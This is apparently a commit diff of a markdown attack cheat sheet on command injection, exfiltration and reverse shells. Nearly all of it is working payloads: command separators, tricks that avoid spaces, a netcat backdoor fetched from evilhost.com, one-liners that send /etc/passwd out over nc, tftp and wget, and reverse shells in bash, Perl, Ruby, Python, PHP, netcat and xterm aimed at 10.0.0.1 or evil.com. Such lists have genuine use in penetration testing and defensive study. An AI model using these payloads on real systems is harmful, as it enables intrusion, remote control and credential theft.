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More command exec without spaces
Credits: Joe Sylve Daniel Frisch
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1 changed files with 34 additions and 32 deletions
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@ -9,84 +9,88 @@ usage
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**Executing Commands**
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Seperating Commands
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Seperating Commands<br>
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``` blah;blah2 ```
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PIPES
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PIPES<br>
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``` blah ^ blah 2```
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AND
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AND <br>
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```blah && blah2```
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OR
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OR<br>
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```FAIL || X```
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OR
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OR <br>
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``` blah%0Dblah2%0Dblah3 ```
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Backtick
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Backtick<br>
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``` `blah` ```
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Background
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Background <br>
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``` `blah & blah2` ```
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***Shell commands without spaces***
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Using Internal Field Separator (IFS)
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<b>Using Internal Field Separator (IFS)</b>
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Test for cmd injection withouot spaces:<br>
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```sleep${IFS:0:1}20```
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``` sleep${IFS:0:1}20 ```<br>
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Example netcat backdoor without spaces:
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```{wget,http://evilhost.com/nc}```
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```{chmod,+x,./nc}```
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```{./nc,-l,-p,6666,-e,/bin/bash```
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Example netcat backdoor without spaces:<br>
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``` {wget,http://evilhost.com/nc} ```<br>
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``` {chmod,+x,./nc} ```<br>
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``` {./nc,-l,-p,6666,-e,/bin/bash} ```<br>
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See: https://jon.oberheide.org/blog/2008/09/04/bash-brace-expansion-cleverness/<br>
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<b>Shell Variables</b>
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``` CMD=$'cat\x20/etc/passwd';$CMD ```
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<br>shell variable increment through file one line at a time</b>
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increment the first +1 to retreive the entire file, line by line<br>
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``` SP=$'\x20';cat$SP/etc/passwd|tail$SP-n+1|head$SP-n+1 ```
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**Exfiltrating Files / Data**
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FTP
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FTP <br>
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Make a new text file, and echo and then redirect to FTP
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NC
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NC <br>
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``` 'nc -e /bin/sh' ```
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NC
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NC <br>
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``` 'echo /etc/passwd | nc host port' ```
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TFTP
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TFTP <br>
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``` 'echo put /etc/passwd | tftp host' ```
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WGET:
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WGET: <br>
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``` 'wget --post-file /etc/passwd' ```
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**One-Liner Reverse Shells**
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On the listener
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On the listener <br>
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``` $ nc -l -p 8080 -vvv' ```
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On the remote host...
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Bash:
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Bash:<br>
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``` $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ```
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``` $ exec 5<>/dev/tcp/evil.com/8080 ```
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``` $ exec 5<>/dev/tcp/evil.com/8080 ```<br>
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'$ cat <&5 | while read line; do $line 2>&5 >&5; done'
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Perl
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Perl<br>
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```$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ```
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Ruby
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Ruby<br>
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``` $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ```
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Python
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Python<br>
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``` $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ```
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PHP
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PHP<br>
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``` $ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ```
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(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)
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Netcat
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Netcat<br>
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``` $ nc -e /bin/sh 10.0.0.1 1234 ```
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``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ```
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@ -95,11 +99,9 @@ Netcat
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XTERM:<br>
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Server: <br>
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```$ xterm -display 10.0.0.1:1```
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Listener:
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Listener:<br>
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```$ Xnest :1```
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```$ xhost +targetip```
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More docs: /docs/attack-docs/remote-cmd-exfiltration/
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<br>More docs: /docs/attack-docs/remote-cmd-exfiltration/<br>
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